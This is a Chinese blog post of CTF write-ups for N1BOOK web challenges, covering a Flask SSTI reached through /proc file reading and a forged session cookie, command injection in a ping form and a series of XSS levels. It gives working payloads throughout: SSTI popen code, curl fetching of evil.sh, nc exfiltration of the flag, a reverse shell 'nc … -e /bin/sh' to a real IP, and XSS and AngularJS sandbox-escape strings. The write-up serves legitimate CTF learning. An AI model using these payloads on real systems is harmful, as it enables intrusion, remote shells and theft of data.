Nu1L Team写的<<从0到1:CTFer成长之路>>的题目在BUUOJ上都有了复现环境,简单看了看发现WEB的题目wp和环境都比较齐全,决定做一下并且写博客记录一下。
N1BOOK of web afr_3 writeup
参考:https://blog.csdn.net/AAAAAAAAAAAA66/article/details/121490787
首页有输入框可以提交name
提交后给出一个article让我们看,先看看里面都是啥
url中可以传参数,随便传一个看看
任意文件读取漏洞
发现可以任意文件读取,但是尝试读flag是不能直接读的,这里需要对linux的文件目录有一定的了解。
利用任意文件读取漏洞结合proc读取源码
/proc 文件系统是一种内核和内核模块用来向进程 (process) 发送信息的机制 (所以叫做 /proc)。这个伪文件系统让你可以和内核内部数据结构进行交互,获取 有关进程的有用信息,在运行中 (on the fly) 改变设置 (通过改变内核参数)。 与其他文件系统不同,/proc 存在于内存之中而不是硬盘上。
/proc 文件系统可以被用于收集有用的关于系统和运行中的内核的信息。
下面是一些重要 的文件:
/proc/cpuinfo - CPU 的信息 (型号, 家族, 缓存大小等)
/proc/meminfo - 物理内存、交换空间等的信息
/proc/mounts - 已加载的文件系统的列表
/proc/devices - 可用设备的列表
/proc/filesystems - 被支持的文件系统
/proc/modules - 已加载的模块
/proc/version - 内核版本
/proc/cmdline - 系统启动时输入的内核命令行参数
我们需要用到/proc/N/cmdline
进程启动命令,/proc/N/cwd
链接到进程当前工作目录,利用这两个目录,我们读取../../../../proc/self/cmdline
,来获取当前进程的启动命令,发现是python server.py,然后我们再利用../../../../proc/self/cwd/server.py
链接到进程当前工作目录的server.py文件,那么这时候我们就可以直接获取到源码了,获取到的格式比较乱,可以用IDE格式化一下代码方便查看,我用的是vscode格式化代码的插件,但是并不是非常有效,还是需要手动调整一下,下面是调整后的。(后来发现f12就可以看到正常格式的源码,这下猪鼻了,但是编码倒是出了点问题也不知道为啥)
1 | <h1>Article Content:</h1> <br>#!/usr/bin/python |
SSTI模板注入漏洞
我们需要注意到的关键是,server.py运行的这个路径下面还有两个文件,key.py和flag.py,我们并不能直接利用任意文件读取的漏洞读取flag文件是因为flag关键词在article()函数中做了过滤,然后这边结合考虑一下之前输入的name有什么用,因为毕竟是一个ctf题目,总共就那么点信息显然是有用处的,看一下这部分的代码
1 |
|
name那个输入框里面填入的值就是n1code的值,代码首先会对post传来n1code过滤一些SSTI关键的符号(下一段会说这样有什么用),然后再看你session里面有没有n1code这个字段,如果没有就会给session加个n1code的字段并且值为POST请求传来的n1code的值被过滤字符后的值,如果有就把session带入模板中执行,那么也就是说根据我们正常传入n1code的值然后他就会过滤SSTI的关键字符后,把n1code的值带进模板里面去执行,这里就会导致SSTI模板注入漏洞。但是SSTI的关键符号被过滤了,大括号都被过滤了,就没有办法让模板执行代码了对吧,所以说直接传n1code进行模板注入的方法并不奏效。
伪造session完成SSTI利用
因此我们需要使用伪造session的方式来完成SSTI注入漏洞的利用,因为你会发现你直接传入n1code的值会被过滤,但是你session如果是伪造的,我们就可以让n1code是我们想要执行的恶意代码并且不受到过滤条件的限制了,这非常关键,而且我们恰好有任意文件读取漏洞可以读取key.py这个文件,先来讲讲session是什么。
session是一种对用户身份的认证,并不是你叫ek1ng我就会在session里写ek1ng,session是存储在浏览器中用户可以更改的,那不然别人改个session也叫ek1ng那不是可以被别人轻易冒充,所以说session[‘n1code’]经过key的加密,也就是说在服务端认为n1code是ek1ng,但是在客户端这个n1code的值是‘ek1ng’经过key加密之后的值,因此需要借助工具和通过任意文件读取漏洞来伪造一个session,从而达成对SSTI漏洞的利用。
首先肯定需要看看加密session的key.py文件,
payload:article?name=../../../proc/self/cwd/key.py
得到key.py的内容key = 'Drmhze6EPcv0fN_81Bj-nA'
借助工具flask-session-cookie-manager来构造session,在命令行执行.\flask_session_cookie_manager3.py encode -s Drmhze6EPcv0fN_81Bj-nA -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"
得到伪造后的session
修改cookie中的session[‘n1code’]的值,就可以看到flag啦
然后这题真的自己做的话肯定还是有不少坑的,简单了解一下flask的模板注入就知道,flask模板注入首先要先找可以导入os模块的基类,因为我们需要执行popen来读flag.py文件,但是能导入os模块的基类到底是哪个呢,这和python版本本身就是有关系的,这里可以去看一下我之前写的HGAME final中那道SSTI模板注入的题目中是如何找基类的,那个题是写了个脚本,所以说这题我觉得正儿八经做法就是要写个脚本跑一下看看结果的,但是由于我是没什么思路学习的别人wp,这边就当下懒狗啦,对我来说写个脚本并不困难,主要是学习一下思路,希望别的参考我博客复现的师傅们别偷懒哈哈哈。
N1BOOK of web 死亡ping命令 writeup
fuzz
是一个提供了ping命令的在线网站
ping是一个在shell中执行的命令,假如我们可以传入恶意用户输入,可以在shell中执行任意命令的话,想要读个flag文件显然不难。
我先是使用了自己的命令行做了一下测试,测试中也遇到不少奇怪的问题,但是发现个可以利用的点
我这里用&把前面的命令挂起,就可以执行后面的命令
不过试了试发现题目把&过滤了
那看来需要fuzz一下看看过滤了什么,然后再想想能用什么了,我用burpsuite抓包然后来进行fuzz测试
找了好久也没找到什么burpsuite可以用来fuzz单个字符的方法,但是我看别人的wp都能用burpsuite来fuzz单个字符,好奇怪,只能先不管了。
换行符绕过waf
总之参考别人的wp,这里绕过过滤执行shell命令的方法是用%0a,也就是url编码的换行符来执行shell命令,由于docker是没有bash、python程序的,官方wp中提到sh反弹是不行的,那这里只能用curl先获取写在我自己服务器上的.sh文件,将想要执行的恶意代码放进.sh文件中,在题目环境中先用curl获取这个.sh文件并放进tmp目录下,再执行.sh文件,命令执行的结果输出到我服务器监听的端口上,下面是payload,在服务器上放一个evil.sh文件,并且在文件中先后写入ls -la /| nc ip
看到ls的结果后)知道flag文件名字是FLAG,将evil.sh的内容改成cat /FLAG | nc ip
,再执行一遍即可。
先让evil.sh的内容为ls -la / | nc ip port
,
payload:ip=127.0.0.1%0acurl ip:port/evil.sh /tmp/evil.sh
将放在我服务器上的evil.sh下载到靶机的tmp目录下
payload:ip=127.0.0.1%0achmod 777 /tmp/evil.sh
用chmod命令给文件执行权限(实际上不用chmod给权限也可以执行)
nc -nvlp 8089
在我服务器上开启端口监听,这样后面执行evil.sh后可以把结果发到我服务器上
payload:ip=127.0.0.1%0ash /tmp/evil.sh
用sh命令执行evil.sh,执行evil.sh中的恶意代码
需要注意一下ls -la /
这个命令,如果不加/,那么直接ls会在root目录下执行,FLAG放在根目录下,这样你会发现没有flag文件,加了/后发现FLAG文件就在根目录下
那接下来就修改一下evil.sh 里面内容为cat /FLAG | nc ip port
就可以
payload:ip=127.0.0.1%0acurl ip:port/evil.sh /tmp/evil.sh
将放在我服务器上的evil.sh下载到靶机的tmp目录下
payload:ip=127.0.0.1%0achmod777 /tmp/evil.sh
用chmod命令给文件执行权限(实际上不用chmod给权限也可以执行)
nc -nvlp 8089
在我服务器上开启端口监听,这样后面执行evil.sh后可以把结果发到我服务器上
payload:ip=127.0.0.1%0ash /tmp/evil.sh
用sh命令执行evil.sh,执行evil.sh中的恶意代码
拿到flag啦,但是拿到flag后我又很奇怪其中的一些步骤为什么反弹shell不行,因为这里是有nc的,所以我就尝试用nc反弹shell了
在evil.sh中写入nc ip port -e /bin/sh
,然后还是和上面一样用ip=127.0.0.1%0acurl ip:port/evil.sh /tmp/evil.sh
把文件读到/tmp目录下并且用ip=127.0.0.1%0ash /tmp/evil.sh
执行evil.sh,发现可以成功弹shell…可能是BUU的环境不太对劲?这就不清楚了。
那既然把命令写在文件里面执行可以的话,感觉也可以直接弹shell吧,用payload:ip=127.0.0.1%0anc 39.108.253.105 8089 -e /bin/sh
试了试发现有被过滤的字符,这么一想确实把命令写在文件里面用curl下载再执行的方式可以绕过一些过滤,题目的环境和官方wp有些不太对的上,也不懂为啥官方wp说不能弹shell,有点迷惑,就这样吧这个题。
N1BOOK of web XSS闯关 writeup
Level 1
1 | /level1?username=<script>alert()<script> |
最简单的反射型xss 在url传参中做利用。
官方wp中给出的/level1?username=xss%3Csvg/onload=alert()
看不懂而且我也没法用这个payload打通…挺迷的,大概意思应该是插入一个svg,然后在svg里面写个onload事件触发alert吧。
Level 2
还是先尝试一下最简单的xss,发现不行,然后查看一下源码
1 | if(location.search == ""){ |
传入的username参数被escape函数编码了,escape() 函数可对字符串进行编码,这样就可以在所有的计算机上读取该字符串。 该方法不会对ASCII 字母和数字进行编码,也不会对下面这些ASCII 标点符号进行编码: * @ - _ + . / 。 其他所有的字符都会被转义序列替换。
escape把字符串编码后,那就不会把传入内容直接当js执行了,所以说之前的办法行不通,但是不代表不能XSS,这里漏洞产生的原因是username这个js中的变量受用户直接控制且只有escape这个编码过滤,我们传入?username=';</script><script>alert()</script>//
,这样js会执行
1 | <script type="text/javascript"> |
先用一个引号闭合username,然后再用一个</script>
和前面的<script>
闭合,后面插入script标签就可以执行任意js函数了。
官方解法是?username='-alert()
,其实差不多的解法,但是不太懂-
是什么意思,不过把-
换成;
后也可以打通。
Level 3
1 | if(location.search == ""){ |
这里把escape取消了其他啥也没变??
我用我自己Level 2中的payload也可以成功打通,但是level 2官方的payload在level 3中不适用,这个没搞懂为啥。
因为把escape取消了所以下面innerHTML中的拼接也有了可以利用的地方,这里可以插入一些html中的标签来达成xss的效果。
官方wp中插入了img标签,学习一下他的做法,?username=xss<img src=x onerror=alert()>
其实是一种利用img标签的onerror属性进行xss的常见做法。
onerror是一个js事件,当图片不存在时会触发,所以只要src属性找不到对应图片,写在onerror中的js语句就可以得以执行。
Level 4
1 | var time = 10; |
这里也比较明显,接收jumpUrl参数,并且将参数拼接进innerHTML,导致xss注入
但是这里jumpUrl有escape字符串编码再拼接进去,所以这里的利用需要使用javascript伪协议来执行,由于这里有url跳转,传入参数会被拼在url里面,在浏览器打开javascript:URL的时候,它会先运行URL中的代码,当返回值不为undefined的时候,前页链接会替换为这段代码的返回值,payload:?jumpUrl=javascript:alert()
Level 5
1 | if(getQueryVariable('autosubmit') !== false){ |
发现代码首先接收get请求参数autosubmit,如果不是false就继续执行,然后接收get请求参数action,如果接收到action参数就读action参数并且提交表单,利用javascript伪协议可以在提交的表单中执行任意js代码。
payload:?action=javascript:alert()&autosubmit=1
Level 6
参考:
这个题目比较复杂,首先是源代码里面直接看js是看不出来什么的,这里要利用Angular.js的模板注入来逃逸沙箱,达成XSS漏洞的利用。
先判断存在angular模板注入
只从做题的角度来看的话,找一下angular 1.4.6的payload,直接就打通了
从https://juejin.cn/post/6891628594725847047#heading-8中,payload
1 | ?username={{x={y:''.constructor.prototype}; x.y.charAt=[].join; [1]|orderBy:'x=alert(1)}}' |
直接打通,flag到手啦
然后我们来研究一下AngularJS的模板注入,主要看这篇文章https://juejin.cn/post/6891628594725847047#heading-8
真看不懂….麻了,找个时间认真研究一下吧